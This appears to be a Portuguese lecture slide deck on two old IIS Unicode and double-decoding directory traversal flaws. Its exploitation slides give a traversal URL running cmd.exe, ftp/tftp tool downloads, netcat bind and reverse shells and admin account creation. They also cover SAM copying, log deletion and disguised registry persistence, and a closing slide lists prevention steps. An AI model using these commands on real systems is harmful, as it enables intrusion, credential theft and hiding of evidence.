Vulnerabilidade de Unicode Primeira Vulnerabilidade IISPWS Extended Unicode
Vulnerabilidade de Unicode
Primeira Vulnerabilidade • IIS/PWS Extended Unicode Directory Traversal • Exemplo: http: //www. example. com/scripts/. . %c 0%af. . /winnt/ system 32/cmd. exe? /c+dir • Descoberta em Outubro de 2000 • Reparado pela Microsoft no Security Bulletin MS 00 -078
Primeira Vulnerabilidade • Problema não é necessariamente Unicode (UCS-2) • Vulnerabilidade reside no UTF-8 – Unicode Transformation Format – U-0000 - U-0000007 F: 0 xxxxxxx – U-00000080 - U-000007 FF: 110 xxxxxx – U-00000800 - U-0000 FFFF: 1110 xxxxxx – U-00010000 - U-001 FFFFF: 11110 xxxxxx 10 xxxxxx – U-00200000 - U-03 FFFFFF: 111110 xxxxxx 10 xxxxxx – U-04000000 - U-7 FFFFFFF: 1111110 x 10 xxxxxx 10 xxxxxx
Primeira Vulnerabilidade • UTF-8: múltiplas representações para o mesmo caracter • Exemplo: caracter ‘/’ – 0 x. AF (esta é a “válida”) – – – 0 x. C 0 0 x. AF 0 x. E 0 0 x 80 0 x. AF 0 x. F 8 0 x 80 0 x. AF 0 x. FC 0 x 80 0 x. AF • Sempre deve ser usada a representação mais curta
Primeira Vulnerabilidade • IIS/PWS Extended Unicode Directory Traversal • Vulnerabilidade: – Verificação do caminho do URL (sem processar UTF-8) – Acesso ao arquivo (com processamento do UTF-8) http: //www. example. com/scripts/. . %c 0%af. . /winnt/syste m 32/cmd. exe? /c+dir
Segunda Vulnerabilidade • IIS/PWS Escaped Character Decoding • Correção da primeira vulnerabilidade: – Tratamento do UTF-8 – Verificação do caminho do URL (sem tratar UTF) – Acesso ao arquivo (com processamento do UTF-8) • Nova vulnerabilidade: – Dupla codificação • Descoberta em Maio de 2001 • Reparado pela Microsoft no Security Bulletin MS 01026
Segunda Vulnerabilidade • Dupla codificação • Exemplo: caracter ‘’ – Representação válida: %5 c – – – Mas % = %25, 5 = %35, c = %63 Então tem-se: %255 c (%25 5 c = % 5 c) %%35%63 (% 5 c) %25%35%63 (% 5 c) • Verificação do caminho realizava uma decodificação • Acesso ao arquivo realizava outra decodificação!
Exploração • Executar o programa cmd. exe: http: //www. example. com/scripts/. . %c 0%af. . /winnt/ system 32/cmd. exe? /c+dir • Porque copiar cmd. exe para outro diretório? • Para evitar a ACL (access control list) definida para o usuário IUSR (Internet User) no diretório system 32 (comando echo não criaria arquivo)
Exploração • Como copiar arquivos para o servidor? • Via ftp: "cmd /c echo user nome > ftpcom" "cmd /c echo password >> ftpcom" "cmd /c echo get samdump. dll >> ftpcom" "cmd /c echo get pdump. exe >> ftpcom" "cmd /c echo get nc. exe >> ftpcom" "cmd /c echo quit >> ftpcom" "cmd /c ftp -s: ftpcom -n servidor. dominio. net"
Exploração • Como copiar arquivos para o servidor? • Via tftp: "tftp -i ip. servidor GET nome. arquivo. exe" "tftp -i ip. servidor GET nome. arquivo. exe caminho. e. nome. local. exe" • ip. servidor é o nome de uma máquina executando TFTPD (daemon de tftp)
Exploração • Que arquivos copiar para o servidor? • Novas páginas HTML (com imagens) • “Utilitários” como Net. Cat (nc. exe) • nc -l -p PORT -e PROGRAM – -l (listen) – -p PORT (número da porta) – -e PROGRAM (qual programa executar)
Exploração • Usos do Net. Cat • Como port scanner: • nc -v -w 2 -z target 20 -30 – -v (verboso) – -w 2 (tempo de espera em segundos) – target (a máquina alvo) – 20 -30 (intervalo de portas para scanning) – -z (zero I/O)
Exploração • Usos do Net. Cat • Para obter um banner: • nc -v -n ip. target 80 – -v (verboso) – -n (endereço é numérico, não usa DNS) – ip. target (número IP da máquina alvo) – 80 (número da porta)
Exploração • Usos do Net. Cat • Para instalar um backdoor (na porta 10001): • Na máquina alvo: nc -l -p 10001 -e cmd. exe – -l (listen) – -p 10001 (número da porta) – -e cmd. exe (qual programa executar) • Na máquina do atacante: nc -v -n ip. alvo 10001 – -v (verboso) – -n ip. alvo (número IP da máquina alvo) – 10001 (número da porta)
Exploração • Usos do Net. Cat • Para instalar um backdoor "cliente": • Na máquina do atacante: nc -l -p 10001 – -l (listen) – -p 10001 (número da porta) • Na máquina alvo: nc -v -n ip. atacante 10001 -e cmd. exe – -v (verboso) – -n ip. atacante (número IP da máquina atacante) – 10001 (número da porta)
Exploração • Usos do Net. Cat • Para transferir um arquivo: • Na máquina alvo: nc -l -p 1234 >hack. txt – -l (listen) – -p 1234 (número da porta) – >hack. txt (nome do arquivo) • Na máquina do atacante: nc destino 1234 <hack. txt
Exploração • Uma vez em um servidor Microsoft…. • Para criar uma conta: "cmd /c net user testuser Ugot. Hacked /ADD" • Adicionar ao grupo de administradores: "cmd /c net localgroup Administrators testuser /ADD" • Criar um a cópia do arquivo SAM: "cmd /c c: winntrepairrdisk /s- " • Encontrar o arquivo de log: "cmd /c dir /S c: *W 3 SVC 32" (Depois é só apagar ou sobrescrever)
Ativar o backdoor • Via Registro: HKEY_LOCAL_MACHINESoftwareMicrosoftWin dowsCurrent. VersionRun. Services HKEY_CURRENT_USERSoftwareMicrosoftWind owsCurrent. VersionRun • Para maior eficácia, renomear "nc. exe" para algo menos suspeito, como "winlogon. exe" : -)
Ativar o backdoor • Via comando AT (Schedule): AT [\computername] time [/EVERY: date] [/NEXT: date] "command" \computername : nome do computador remoto, ou computador local, se omitido time : hora quando o comando deve ser executado /EVERY: date : dia do mês (ou semana) /NEXT: date : dia do mês (ou semana) "command": comando Windows ou arquivo batch a executar
Prevenção • De acordo com a própria Microsoft: • Install your web folders on a drive other than the system drive • Eliminate all sample files and unneeded features from your site • Move, rename or delete any command-line utilities that could assist an attacker, and set restrictive permissions on them • Be sure that the IUSR_machinename account does not have write access to any files on your system
- Slides: 20